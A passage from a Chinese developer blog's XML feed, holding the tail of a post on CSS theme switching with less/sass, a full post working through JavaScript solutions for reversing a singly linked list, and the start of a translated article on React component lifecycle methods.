将主题文件集中到此出口文件中</span></span><br><span class="line"><span class="selector-class">.theme-one</span> {</span><br><span class="line"> <span class="keyword">@import</span> <span class="string">"theme-one"</span>;</span><br><span class="line">}</span><br><span class="line"><span class="selector-class">.theme-two</span> {</span><br><span class="line"> <span class="keyword">@import</span> <span class="string">"theme-two"</span>;</span><br><span class="line">}</span><br></pre></td></tr></table></figure><br><br></details><p>随后,我们可以通过手动编译或者配置 <code>webpack</code> 来将此文件引入到页面中,就可以实现通过 <code>body</code> 类名来切换主题了。</p><p>这种方式类似上面我们提到的通过类名切换主题,实现基础即 <code>less</code> 和 <code>sass</code> 都会将选择器中 <code>@import</code> 进来的样式都加上选择器前缀。不过需要注意,在 <code>less</code> 中的导入需要使用 <code>(multiple)</code> 参数,来告诉 <code>less</code> 允许重复导入一个文件并编译,从而使不同主题对应的类选择器下的导入都会被编译。</p><p>你也可以不将所有主题文件都集中到入口文件中一起打包,而是各自分别打包,然后通过动态切换 <code>link</code> 标签来实现动态切换主题,这种方式,不需要将同一个元素的不同主题样式全部导入,而是在主题切换时才动态导入。<code>Angular Material</code> 的<a href="https://material.angular.io/" target="_blank" rel="noopener">主站</a>就是这样实现的。</p><p>通过 <code>@import</code> 来实现的优势之处在于,当我们需要为现有项目添加主题切换,又不想大幅改动样式的组织和结构时,就可以通过将全局所有样式,包括组件库样式集中,并通过选择器下的 <code>@import</code> 导入和覆盖的方式,重新生成多套在特定类名的全局新样式,通过切换类名或文件,从而实现动态的主题切换。当然这种情况还需要注意组件的样式作用域问题,防止组件的样式泄漏到全局影响其他地方。</p><p>这种动态切换主题的方式下,关于主题文件的打包,不建议每次都手动打包或者通过类似 <code>sh</code> 脚本去打包,而应该去修改 <code>webpack</code> 配置来使其自动的单独去编译和打包我们主题配置的 <code>less</code> 或 <code>scss</code> 文件。<br>如果在 <code>Angular</code> 项目中也可以直接修改 <code>angular.json</code> 中的打包配置指定将特定的预处理样式文件单独编译打包后直接插入到页面,从而使我们的样式系统完全独立于项目。</p></li></ol><p>以上就是关于前端项目动态切换主题的一些叙述,动态主题切换涉及到的地方还是比较多的,很难面面俱到,总觉得有遗漏,后面想起来再补充吧。</p><p>感谢阅读。</p><!-- rebuild by neat -->]]></content>
<categories>
<category> 前端 </category>
<category> CSS </category>
</categories>
<tags>
<tag> 前端 </tag>
<tag> CSS </tag>
</tags>
</entry>
<entry>
<title>算法学习(六):反转单向链表</title>
<link href="/2019/06/05/algorithm_note-6/"/>
<url>/2019/06/05/algorithm_note-6/</url>
<content type="html"><![CDATA[<!-- build time:Sun Oct 27 2019 20:44:48 GMT+0800 (CST) --><blockquote><p>在知乎上关于 <a href="https://www.zhihu.com/question/321955801" target="_blank" rel="noopener">为什么前端工程师那么难招</a> 这个问题里,一个答主说他招前端结果过来面试的很多连单向链表反转这种简单的面试题都写不出来。然后在微信群里也看到有人在讨论这个问题,就想着自己也来掺合一下,看看这道题到底是个啥。</p><p>说起来前端在实际工作中其实几乎遇不到链表这种数据结构,大部分人可能都是像我一样,知道链表是个什么东西,但也没有深入去了解和实现过,可能有的同学连链表是什么都不一定清楚,但其实在这道题上这并影响不大,还是很容易的,只要别上来就露怯,就算不知道链表是什么东西,也是八九能解出来的。不过话说真不知道的同学,还是应该去了解一下,万一下次被面到呢。。。</p><p>这篇博客,就记录一下我解这道题的一些思路和心得。</p></blockquote><a id="more"></a><h3 id="链表概述"><a href="#链表概述" class="headerlink" title="链表概述"></a>链表概述</h3><p>首先我们来大概讲一下链表,链表故名思意,即链接在一起的一个类似列表的结构,它的每个节点都包含了当前值和下一个值的位置或引用。</p><p>也就是类似下面这种结构:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line">LinkNode {</span><br><span class="line"> data: data</span><br><span class="line"> next: LinkNode {</span><br><span class="line"> data: data,</span><br><span class="line"> next: LinkNode {</span><br><span class="line"> data: data,</span><br><span class="line"> next: LinkNode {</span><br><span class="line"> ....</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>每个节点都有一个 <code>data</code> 表示当前的值和一个 <code>next</code> 表示下一个节点的位置,这也就是我们今天的主角:<strong>单向链表</strong>。</p><p>所以也非常容易想到,双向链表就是一个节点不仅包含了下一个节点的位置,还包含上一个节点的位置。</p><p>用 <code>js</code> 来简单的表达一个单向链表,就是类似下面这样的一个对象</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">{</span><br><span class="line"> val: <span class="number">1</span>, <span class="attr">next</span>: {</span><br><span class="line"> val: <span class="number">2</span>, <span class="attr">next</span>: {</span><br><span class="line"> val: <span class="number">3</span>, <span class="attr">next</span>: ...</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>对象的每一层,即相当于链表的一个节点。</p><h3 id="题干"><a href="#题干" class="headerlink" title="题干"></a>题干</h3><p>知道了单向链表是什么之后,我们来看一下<a href="https://leetcode.com/problems/reverse-linked-list/" target="_blank" rel="noopener">这道算法题</a>:</p><p><img src="https://i.loli.net/2019/06/04/5cf67a6a7991977041.png" alt=""></p><p>千万别以为它是让你反转字符串 <code>1->2->3->4->5->NULL</code> 为 <code>5->4->3->2->1->NULL</code>,要是面试时闹出这种乌龙那就有点糗了。具体的,是因为各个语言中链表的表示方式各不相同,因此 <em>leetcode</em> 就用这种形式来统一表示链表,方便大家用各种语言来解题嘛。</p><p>来详细的说,这道题题干看起来非常简单,输入一个类似如下的数据结构</p><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line">{</span><br><span class="line"> val: <span class="number">1</span>,</span><br><span class="line"> next: {</span><br><span class="line"> val: <span class="number">2</span>,</span><br><span class="line"> next: {</span><br><span class="line"> val: <span class="number">3</span>,</span><br><span class="line"> next: {</span><br><span class="line"> val: <span class="number">4</span>,</span><br><span class="line"> next: {</span><br><span class="line"> val: <span class="number">5</span>,</span><br><span class="line"> next: <span class="literal">null</span></span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>需要将链表反转,即头变尾,尾变头,以如下形式输出:</p><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line">{</span><br><span class="line"> val: <span class="number">5</span>,</span><br><span class="line"> next: {</span><br><span class="line"> val: <span class="number">4</span>,</span><br><span class="line"> next: {</span><br><span class="line"> val: <span class="number">3</span>,</span><br><span class="line"> next: {</span><br><span class="line"> val: <span class="number">2</span>,</span><br><span class="line"> next: {</span><br><span class="line"> val: <span class="number">1</span>,</span><br><span class="line"> next: <span class="literal">null</span></span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>另外题目还提示,可以使用循环和递归两种方式实现。</p><h3 id="比较蠢的第一种解法"><a href="#比较蠢的第一种解法" class="headerlink" title="比较蠢的第一种解法"></a>比较蠢的第一种解法</h3><p>我们先来观察和思考一下,抛弃链表这个概念,单纯把它当成 <code>js</code> 对象来看,这个对象每一层的 <code>next</code> 值都指向下一层,直到最里层 <code>next</code> 值为 <code>null</code> 时结束。</p><p>我们需要做的是,将每一层的 <code>next</code> 都指向它的上一层,从而将这个对象反转过来。</p><p>那我们就先以最朴素的思想来实现一下它,假装我们还是当初那个可爱的傻瓜,先来个遍历循环再说,一个不够就两个,不信循环不出来它,当初咱在 <code>for</code> 循环里写 <code>sql</code> 都干过,这都不算啥。</p><p>来看,我们先把链表的每一层单独取出来得到一个我们熟悉的数组,然后再看着怎么处理这个数组,这不就一下又回到我们熟悉的 <code>js</code> 领域啦,不用管什么链表还是好啊,所以我们大概就写出了下面这种代码:</p><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">var</span> reverseList = <span class="function"><span class="keyword">function</span> (<span class="params">head</span>) </span>{</span><br><span class="line"> arr = []</span><br><span class="line"> <span class="keyword">while</span> (head !== <span class="literal">null</span>) {</span><br><span class="line"> arr.unshift({</span><br><span class="line"> val: head.val,</span><br><span class="line"> next: {}</span><br><span class="line"> })</span><br><span class="line"> head = head.next</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">for</span> (<span class="keyword">let</span> [idx, i] <span class="keyword">of</span> arr.entries()) {</span><br><span class="line"> <span class="keyword">if</span> (arr[idx + <span class="number">1</span>]) {</span><br><span class="line"> i.next = arr[idx + <span class="number">1</span>]</span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> i.next = <span class="literal">null</span></span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">return</span> arr[<span class="number">0</span>]</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>看起来还不错吧,我们首先遍历链表,把每一层的 <code>val</code> 取出来,然后把它的 <code>next</code> 链接置空,从而得到一个相当于还没有链接其他节点的单独节点,然后把这个节点从数组头填到一个数组里,然后再从头循环这个数组,一个一个的将所有节点链接起来,最后得到的就是我们想要的结果了。</p><p><code>OK</code>,我们提交一下试试看</p><p><img src="https://i.loli.net/2019/06/04/5cf683ce3e7ef95825.png" alt=""></p><p>非常遗憾没有通过,原来我们忘记了空链表这种特殊情况了,补上防止链表参数为空的判断</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">var</span> reverseList = <span class="function"><span class="keyword">function</span>(<span class="params">head</span>) </span>{</span><br><span class="line"> <span class="keyword">if</span> (!head) <span class="keyword">return</span> head</span><br><span class="line"> </span><br><span class="line"> arr = []</span><br><span class="line"> <span class="keyword">while</span> (head !== <span class="literal">null</span>) {</span><br><span class="line"> arr.unshift({</span><br><span class="line"> val: head.val,</span><br><span class="line"> next: {}</span><br><span class="line"> })</span><br><span class="line"> head = head.next</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">for</span> (<span class="keyword">let</span> [idx, i] <span class="keyword">of</span> arr.entries()) {</span><br><span class="line"> <span class="keyword">if</span> (arr[idx + <span class="number">1</span>]) {</span><br><span class="line"> i.next = arr[idx + <span class="number">1</span>]</span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> i.next = <span class="literal">null</span></span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">return</span> arr[<span class="number">0</span>]</span><br><span class="line">};</span><br></pre></td></tr></table></figure><p>这次顺利的通过了</p><p><img src="https://i.loli.net/2019/06/04/5cf6848f052a234889.png" alt="屏幕快照 2019-06-04 下午10.47.10.png"></p><p>但是看一下这个运行时间和占用内存,这个解法的时间复杂度和空间复杂度看起来都有些不乐观。可能有的水平比较高的同学现在已经嘴角带笑了,这个解法也太 <code>low</code>了吧,但别急着否定,这个解法虽然比较质朴,但从其中我们也可以提炼出不少有助于我们解题和优化的思路来的。</p><p>再回看一遍我们的解法,我们从链表的头部,也就是对象的最外层,一层一层的取到值,然后在到达链表尾部后,再从内向外一层一层的将链表的指向反转过来,这个行为让我们想到了什么?没错,就是先进后出的栈,一层层的压入,再一层层的取出,而我们声明的数组 <code>arr</code>,就类似于一个简略的栈,先遍历链表一个个填入,再遍历数组,一个个取出。</p><p>虽然过程是比较笨拙了些,但是只要思路有了,可以慢慢优化嘛。</p><h3 id="平平无奇的第二种解法"><a href="#平平无奇的第二种解法" class="headerlink" title="平平无奇的第二种解法"></a>平平无奇的第二种解法</h3><p>第一个想法就是,如果我们可以不用两次遍历,而是在一次遍历过程中就同时取值和更新呢,看下面的代码:</p><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">reverseList</span>(<span class="params">head</span>) </span>{</span><br><span class="line"> <span class="keyword">if</span> (!head) <span class="keyword">return</span> head</span><br><span class="line"></span><br><span class="line"> <span class="keyword">let</span> obj = <span class="literal">null</span></span><br><span class="line"> <span class="keyword">while</span> (head) {</span><br><span class="line"> obj = { <span class="attr">val</span>: head.val, <span class="attr">next</span>: obj }</span><br><span class="line"> head = head.next</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">return</span> obj</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>我们设置了一个值 <code>obj</code>,然后在每次读取到链表的一层时,就重新赋值 <code>obj</code> 将它的 <code>next</code> 值指向它的旧值,这样我们在读取链表每个节点时,也同时更新和生成新的链表,从而达到只需要遍历一次,就可以完成反转的任务。</p><p>我们再提交试一下</p><p><img src="https://i.loli.net/2019/06/04/5cf68a34e44e911675.png" alt="屏幕快照 2019-06-04 下午11.11.26.png"></p><p>不错哦,这次看起来快了不少,但是好像代码占用空间还是有点多啊,想想办法!</p><h3 id="吊炸天的第三种解法"><a href="#吊炸天的第三种解法" class="headerlink" title="吊炸天的第三种解法"></a>吊炸天的第三种解法</h3><p>继续想一下,我们怎么优化才能少占用点内存呢?代码已经就这么几行了,好像没发整了。</p><p>再回头看一下前面的代码,哎,我们发现,我们创建了一个 <code>obj</code> 值,在遍历链表时,多次重新给它赋值,这可能会占用不少的内存,那我们可不可以不<code>new</code> 一个值,而是直接 <code>in-place</code> 原地操作呢?</p><p>因为实际上我们也只是需要改变链表每个节点的 <code>next</code> 指向而已,并不是什么复杂的操作,所以直接在链表上操作应该是可行的,多次尝试后,摸索得到了以下的代码</p><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">var</span> reverseList = <span class="function"><span class="keyword">function</span>(<span class="params">head</span>) </span>{</span><br><span class="line"> <span class="keyword">let</span> prev = <span class="literal">null</span></span><br><span class="line"> <span class="keyword">let</span> current = head</span><br><span class="line"></span><br><span class="line"> <span class="keyword">while</span>(current !== <span class="literal">null</span>) {</span><br><span class="line"> <span class="keyword">let</span> next = current.next</span><br><span class="line"> current.next = prev</span><br><span class="line"> prev = current</span><br><span class="line"> current = next</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">return</span> prev</span><br><span class="line">};</span><br></pre></td></tr></table></figure><p>我们将前一个节点保存为 <code>prev</code>, 当前节点为 <code>current</code>,下一个节点为 <code>next</code>,然后通过遍历链表向前移动过程中的不断交叉赋值,实现了在链表上的原地操作。</p><p>再提交一下试试</p><p><img src="https://i.loli.net/2019/06/04/5cf68dc41d48214363.png" alt="屏幕快照 2019-06-04 下午11.25.58.png"></p><p>效果相当明显,速度已经快到它姥姥都不认识了,基本已经击败了全国所有人,内存占用也降低了 <em>70%</em>(其实仔细对比一下也就 <code>1M</code> 而已哈哈),相比最初的那个循环两次的解法,不知道高到那里去了。</p><p>但仔细想一下,虽然这三个算法在速度上差距不小,但其实思路是类似的,都是从最外层遍历到最里层,然后一层层的处理,不同的是,</p><p>在第一个解法中,我们先遍历一遍输入取到值,再遍历一遍生成输出值</p><p>在第二个解法中,我们自己创建了一个值,然后在遍历输入值的过程中使用我们创建的值来配合进行操作,从而避免了两次遍历</p><p>而在第三个解法中,我们不再创建新值,而是直接在原输入值上操作,从而大幅提高了程序运行的速度,降低了内存占用</p><p>在一步步实现这三个解法的过程中,我们可以学到什么:</p><ul><li>尽量减少遍历,遍历会增加程序的时间复杂度,也就是更慢</li><li>避免不必要的创建和赋值,会增加程序的空间复杂度,也就是占用更多内存</li></ul><p>这也是我认为不管前端还是后端程序员,都应该也需要去学习算法的原因,在算法种种特殊的要求和规则下,我们才能对语言和数据结构具有更深层次的理解,才能体会到平常工作中难以接触的更多的程序优化思路,才能更严苛的追求速度和性能的最优解,而这种本领,是比各种语言和框架更宝贵的,真正的屠龙之技。</p><p>到了这里,这篇博客也基本结束,转眼间已经三四个月没再动手写过东西了,自责一下,唉。。。</p><p>自责完了,顺带提一下,题目里说这道题也可以使用递归的方法解决,所以我们也可以试着将 <code>while</code> 循环改为递归的方式,从而使代码更简洁一些,如下:</p><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">var</span> reverseList = <span class="function"><span class="keyword">function</span> (<span class="params">head, obj = null</span>) </span>{</span><br><span class="line"> <span class="keyword">if</span> (head === <span class="literal">null</span>) {</span><br><span class="line"> <span class="keyword">return</span> obj</span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> <span class="keyword">return</span> reverseList(head.next, { <span class="attr">val</span>: head.val, <span class="attr">next</span>: obj })</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>上面这个函数我们还可以使用箭头函数再简化一下,变成这种形式</p><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">var</span> reverseList = <span class="function">(<span class="params">head, obj = <span class="literal">null</span></span>) =></span> head === <span class="literal">null</span> ? obj : reverseList(head.next, { <span class="attr">val</span>: head.val, <span class="attr">next</span>: obj })</span><br></pre></td></tr></table></figure><p>当然,这样可读性有那么些太低了,所以除非人为的需要去装一些 X 的时刻, 其他时候完全没必要。</p><p>以上就是本篇博客的全部内容,感谢阅读。</p><!-- rebuild by neat -->]]></content>
<categories>
<category> 其他 </category>
<category> 算法 </category>
</categories>
<tags>
<tag> 算法 </tag>
</tags>
</entry>
<entry>
<title>(译)深入React的组件生命周期</title>
<link href="/2019/03/09/react-component-lifecycle/"/>
<url>/2019/03/09/react-component-lifecycle/</url>
<content type="html"><![CDATA[<!-- build time:Sun Oct 27 2019 20:44:48 GMT+0800 (CST) --><blockquote><p>本来想自己写一篇关于 <code>React</code>组件生命周期的博客做个总结,但看到这篇 <a href="https://hackernoon.com/reactjs-component-lifecycle-methods-a-deep-dive-38275d9d13c0" target="_blank" rel="noopener">ReactJs component lifecycle methods — A deep dive</a> ,觉得它写的还是蛮清晰易懂,肯定比我写的好,所以就不再自己去搜肠刮肚了,直接翻译过来。。。</p></blockquote><a id="more"></a><p>本篇博客适用于 <code>React 16.3</code> 及以下版本。</p><p><code>React 16.3</code> 版本对组件的生命周期进行了大幅的改变,所以如果你在使用 <strong><em>16.3</em></strong> 之后的版本,可以查看<a href="https://blog.bitsrc.io/understanding-react-v16-4-new-component-lifecycle-methods-fa7b224efd7d" target="_blank" rel="noopener">这篇博客</a>。</p><h2 id="React-和-它的用户界面"><a href="#React-和-它的用户界面" class="headerlink" title="React 和 它的用户界面"></a>React 和 它的用户界面</h2><p>“ <code>ReactJS</code> 是一个用于构建用户界面的 <code>JavaScript</code> 库 ”,这是 <code>React</code> 的自我介绍。</p><h3 id="什么是用户界面"><a href="#什么是用户界面" class="headerlink" title="什么是用户界面"></a>什么是用户界面</h3><p>用户通过在 <code>UI</code> 组件上的单击,悬停,按键或触发许多其他类型的事件来与应用程序交互。<br>所有<code>UI</code>组件都在浏览器中生成,并在某个时间点被删除。<br>整个界面由唯一的上帝管理——也就是用户。</p><p>用户界面是一个自由的游乐场,用户可以在其中做任何事情,而 React 就是用来帮助我们建造这个游乐场。</p><h2 id="生命周期函数是什么,有什么用?"><a href="#生命周期函数是什么,有什么用?" class="headerlink" title="生命周期函数是什么,有什么用?"></a>生命周期函数是什么,有什么用?</h2><p>我们周围的所有东西都有生命周期——它们出生,成长,并在某个时刻死去,例如一棵树,任何的软件应用,你自己,一个 <code>div</code> 容器或者浏览器里的 <code>UI</code> 组件,都会经历出生,更新和成长,直到死去。</p><p>生命周期函数,就是在生命周期的不同阶段可以调用的各种函数。</p><p>假设我们在写一个 <strong><em>YouTube</em></strong> 应用,很明显我们的应用将会通过网络来缓冲视频,同时也使用电源里的电量(我们暂且假设我们的应用只做这两件事情)。</p><p>如果用户在开始播放视频后,切换到另一个应用程序,那么作为一个优秀的程序员,我们应该确保以最有效的方式使用网络和电池资源。</p><p>所以,每当用户切换到另一个应用程序时,我们应该停止/暂停视频的缓冲,从而停止使用网络和电池。</p><p>这就是 <code>React</code> 的生命周期函数能够做到的,通过生命周期函数,开发者可以决定在 <code>UI</code> 界面特定的初始化,更新和销毁的时刻做些什么事情,从而开发出优质的应用。</p><blockquote><p>深入理解组件的生命周期可以帮助你开发出更好的 <code>React</code> 用户界面。</p></blockquote><h2 id="React-组件的四个阶段"><a href="#React-组件的四个阶段" class="headerlink" title="React 组件的四个阶段"></a>React 组件的四个阶段</h2><p><code>React</code> 组件像世上的其他东西一样,有以下几个生命阶段:</p><ul><li>初始化 <code>Initialization</code></li><li>挂载 <code>Mounting</code></li><li>更新 <code>Update</code></li><li>销毁 <code>Unmounting</code></li></ul><p>下面这张图片直观的展示了 <code>React</code> 组件的各个生命阶段和生命周期函数:</p><p><img src="https://i.loli.net/2019/03/09/5c8368e09c88d.png" alt="1_sn-ftowp0_VVRbeUAFECMA.png"></p><p>为了更直观的解释生命周期钩子函数,我们将创建一个叫 <strong><em>Contra</em></strong> 的音乐播放器 <code>React</code> 应用。</p><p>让我们开始吧。</p><h3 id="一-初始化-Initialization"><a href="#一-初始化-Initialization" class="headerlink" title="(一)初始化 Initialization"></a>(一)初始化 Initialization</h3><p>在这个阶段,<code>React</code> 设置组件的初始<code>state</code>和<code>defaultProps</code> ,从而为组件即将到来的艰辛历程作准备。</p><p><strong><em>Contra</em></strong> 音乐播放器在开始时是下面这样:</p><figure class="highlight javascript"><figcaption><span>JavaScript</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">ContraMusicPlayer</span> <span class="keyword">extends</span> <span class="title">React</span>.<span class="title">Component</span> </span>{</span><br><span class="line"> <span class="keyword">static</span> defaultProps = {</span><br><span class="line"> theme: <span class="string">'dark'</span></span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">constructor</span>(props) {</span><br><span class="line"> <span class="keyword">super</span>(props);</span><br><span class="line"> <span class="keyword">this</span>.state = {</span><br><span class="line"> volume: <span class="number">70</span>,</span><br><span class="line"> status: <span class="string">'pause'</span></span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>组件在构造函数中初始化 <code>state</code>,随后你可以使用 <code>setState</code> 来改变它。</p><p><code>defaultProps</code> 类静态属性定义了组件的所有 <code>props</code> 的默认值,可以被外部传入的 <code>props</code> 值覆盖。</p><p>当使用类似 <code><ContraMusicPlayer /></code> 来渲染 <strong><em>Contra</em></strong> 音乐播放器时,它将以 <em>70%</em> 的音量,暂停状态和 <strong><em>drak</em></strong> 暗色主题开始。</p><p>当使用类似 <code><ContraMusicPlayer theme="light" /></code> 来渲染 <strong><em>Contra</em></strong> 音乐播放器时,它将以 <em>70%</em> 的音量,暂停状态和 <strong><em>light</em></strong> 亮色主题开始。</p><h3 id="二-挂载-Mounting"><a href="#二-挂载-Mounting" class="headerlink" title="(二)挂载 Mounting"></a>(二)挂载 Mounting</h3><p>在准备好初始所需的 <code>state</code>和 <code>props</code>之后,我们的 <code>React</code> 组件已经准备好挂载到浏览器的 <code>DOM</code> 树中了。</p><p>这个阶段提供了挂载前和挂载后的钩子方法。在这个阶段有如下的方法会被调用:</p><ul><li><p><strong>componentWillMount</strong> 在 <code>React</code> 组件将要挂载到 <code>DOM</code> 中时执行,也就是说,在这个方法之后,组件将会被挂载。所有你想在组件挂载之前做的事情,都应该定义在这个函数中。</p><p>这个函数在整个生命周期中只会在初次渲染之前被调用一次。</p><p><strong><em>提示</em></strong>: <code>componentWillMount</code> 经常被用来初始化 <code>states</code> 和 <code>props</code>,因此目前有比较大的争议它是否应该合并到组件类的构造函数中。</p></li><li><p><strong>render</strong> 挂载组件到浏览器中。它是个纯函数,也就是说,给它相同的输入,它总是返回相同的输出。</p><p>我们的音乐播放器应用的 <code>render</code> 方法大概像下面这样:</p><figure class="highlight jsx"><figcaption><span>JavaScript</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">render() {</span><br><span class="line"> <div></span><br><span class="line"> <PlayHeader></span><br><span class="line"> <Status/></span><br><span class="line"> <VolumeBar/></span><br><span class="line"> <SeekBar/></span><br><span class="line"> <<span class="regexp">/PlayHeader></span></span><br><span class="line"><span class="regexp"> </</span>div></span><br><span class="line">}</span><br></pre></td></tr></table></figure></li><li><p><strong>componentDidMount</strong> 是在组件已挂载到 DOM 后会被调用的钩子函数。</p><p>这个函数在整个生命周期中只会在初次渲染之后被调用一次。</p><p>在这个函数中,我们已经可以接触到 <code>DOM</code>, 因此我们可以在这个函数中初始化一些需要操作 <code>DOM</code> 的 <code>JS</code> 库,例如 <code>D3</code> 或者 <code>JQuery</code>。</p><p><strong><em>示例:</em></strong> 在我们的音乐播放器中,我们想绘制歌曲的波形,在这个方法中我们可以继承 <code>D3</code> 或者其他第三方 <code>JS</code> 库。</p><p>下面是一个在此钩子函数中引入和初始化 <code>highcharts</code>的例子:</p><figure class="highlight js"><figcaption><span>JavaScript</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line">componentDidMount() {</span><br><span class="line"> <span class="keyword">if</span> (<span class="keyword">this</span>.props.modules) {</span><br><span class="line"> <span class="keyword">this</span>.props.modules.forEach(<span class="function"><span class="keyword">function</span> (<span class="params">module</span>) </span>{</span><br><span class="line"> <span class="built_in">module</span>(Highcharts);</span><br><span class="line"> });</span><br><span class="line"> }</span><br><span class="line"> <span class="comment">// Set container which the chart should render to.</span></span><br><span class="line"> <span class="keyword">this</span>.chart = <span class="keyword">new</span> Highcharts[<span class="keyword">this</span>.props.type || <span class="string">"Chart"</span>](</span><br><span class="line"> <span class="keyword">this</span>.props.container, </span><br><span class="line"> <span class="keyword">this</span>.props.options</span><br><span class="line"> );</span><br><span class="line">}</span><br></pre></td></tr></table></figure><blockquote><p><strong>我们应该在哪里进行 <code>API</code> 调用?</strong></p><p><code>API</code> 调用应该在 <code>componentDidMount</code> 方法中, 可以参考<a href="https://hackernoon.com/where-to-integrate-api-calls-in-reactjs-componentwillmount-vs-componentdidmount-710085dc05c3" target="_blank" rel="noopener">这篇文章</a>来了解更多关于如何进行 <code>API</code> 调用的相关内容。</p></blockquote></li></ul><h3 id="三-更新-Update"><a href="#三-更新-Update" class="headerlink" 